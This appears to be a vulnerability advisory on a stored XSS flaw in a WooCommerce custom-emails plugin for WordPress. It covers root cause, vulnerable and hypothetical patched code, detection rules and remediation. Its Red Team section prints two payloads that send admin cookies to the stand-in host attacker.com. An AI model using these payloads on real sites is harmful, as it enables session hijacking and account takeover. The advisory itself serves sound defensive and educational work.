CVE-2025-48251

Executive Summary

CVE-2025-48251 is a Stored Cross-Site Scripting (XSS) vulnerability in the WPFactory Additional Custom Emails & Recipients for WooCommerce plugin for WordPress. The vulnerability exists in versions up to and including 3.5.1, where the plugin fails to properly neutralize user input during web page generation. An authenticated attacker with administrative privileges can inject malicious scripts that are stored on the server and executed in the browsers of other users, including other administrators or shop managers. This can lead to session hijacking, data theft, or further compromise of the WordPress installation.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository and third-party marketplaces. Users who have installed the plugin from the WordPress admin dashboard or via direct ZIP upload are at risk. The plugin is not available via NPM, PyPI, Go, or Ruby ecosystems.

CVSS Breakdown & Threat Level

• CVSS Score: 6.5 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: High (Administrator)
• User Interaction: Required (Victim must visit the affected page)
• Scope: Changed (Impact may extend beyond the vulnerable component)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: Low

Threat Level: Medium. While the CVSS score is moderate, the requirement for high privileges reduces the immediate risk. However, once an attacker gains admin access (e.g., via credential stuffing or other means), they can use this vulnerability to escalate privileges or pivot to other users.

Deep Dive & Mechanics

The vulnerability resides in the Additional Custom Emails & Recipients for WooCommerce plugin, which allows administrators to create custom email templates and add additional recipients for WooCommerce transactional emails. The plugin fails to sanitize and escape user-supplied input when saving email subject lines, body content, or recipient email addresses. This input is later rendered in the WordPress admin panel (e.g., in the email settings page or email logs) without proper output encoding.

Root Cause: The plugin uses WordPress functions like add_option or update_option to store user input, but does not apply esc_html() or wp_kses() before outputting the data in the admin interface. This allows an attacker to inject arbitrary HTML and JavaScript.

Attack Flow:

1. An attacker with admin credentials navigates to the plugin settings page (e.g., /wp-admin/admin.php?page=custom-emails-for-woocommerce).
2. The attacker inserts a malicious payload into a text field, such as the email subject line: <script>alert('XSS')</script>.
3. The plugin stores the payload in the WordPress options table.
4. When another admin (or the same admin) views the email settings or a related page, the payload is executed in their browser.
5. The attacker can then steal cookies, perform actions on behalf of the victim, or redirect them to a malicious site.

Vulnerable vs. Patched Code

Vulnerable Code (version <= 3.5.1):

// In a settings page callback
function render_email_subject_field() {
    $value = get_option('custom_email_subject', '');
    echo '<input type="text" name="custom_email_subject" value="' . $value . '" />';
}

The $value is directly echoed without escaping, allowing XSS.

Patched Code (hypothetical fix):

function render_email_subject_field() {
    $value = get_option('custom_email_subject', '');
    echo '<input type="text" name="custom_email_subject" value="' . esc_attr($value) . '" />';
}

The esc_attr() function escapes the value for safe HTML attribute output.

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress installation with WooCommerce and the vulnerable plugin (version <= 3.5.1).
• Admin credentials (e.g., admin:password).

Exploitation Steps:

1. Log in to WordPress as an administrator.
2. Navigate to WooCommerce > Emails > Additional Custom Emails.
3. Click Add New or edit an existing email template.
4. In the Email Subject field, enter the following payload:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

5. Save the email template.
6. Wait for another admin to view the email list or settings page. The script will execute and send the victim's cookies to the attacker's server.

Alternative Payload (for session hijacking):

<img src=x onerror="document.location='https://attacker.com/steal?cookie='+document.cookie">

Blue Team

Detection:

• Monitor WordPress admin access logs for unusual POST requests to /wp-admin/admin-post.php or plugin-specific AJAX endpoints.
• Look for suspicious option values in the wp_options table, especially those containing <script> or onerror attributes.
• Use a Web Application Firewall (WAF) to block common XSS payloads in admin pages.

Hunting Query (SQL):

SELECT * FROM wp_options WHERE option_name LIKE '%custom_email%' AND option_value LIKE '%<script%';

Indicators of Compromise (IOCs)

• File Indicators:

  • Modified plugin files in /wp-content/plugins/custom-emails-for-woocommerce/
  • Suspicious entries in wp_options table with keys like custom_email_subject, custom_email_body, etc., containing JavaScript.

• Network Indicators:

  • Outbound HTTP requests to unknown domains from the WordPress server.
  • Referer headers containing /wp-admin/admin.php?page=custom-emails-for-woocommerce.

• Log Indicators:

  • Repeated admin logins from unusual IP addresses.
  • POST requests to plugin settings pages with encoded payloads.

Detection Engineering

YARA Rule

rule CVE_2025_48251_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in WPFactory Custom Emails plugin options"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-48251"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $xss_event = /on\w+\s*=\s*["']?[^"']*["']?/i
    condition:
        any of them
}

Sigma Rule

title: Stored XSS in WPFactory Custom Emails Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts via plugin settings
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri|contains: '/wp-admin/admin-post.php'
        cs-uri-query|contains: 'custom-emails-for-woocommerce'
        cs-uri-query|contains: '<script'
    condition: selection
falsepositives:
    - Legitimate admin updates with HTML content
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-48251 Stored XSS Attempt in WPFactory Custom Emails";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/admin-post.php"; http_uri;
    content:"custom-emails-for-woocommerce"; http_uri;
    pcre:"/<script[^>]*>.*<\/script>/i";
    sid:1000001;
    rev:1;
    reference:cve,2025-48251;
    classtype:web-application-attack;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Review and clean the wp_options table for any malicious entries.
3. Change all admin passwords and enforce strong password policies.
4. Enable a Web Application Firewall (WAF) with XSS protection rules.

Long-term Fix:

• The vendor (WPFactory) should release a patched version that properly escapes all user input using esc_html(), esc_attr(), or wp_kses().
• Users should update to the latest version once available.

Workaround:

• Restrict admin access to trusted IP addresses only.
• Use a security plugin like Wordfence to block malicious input.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert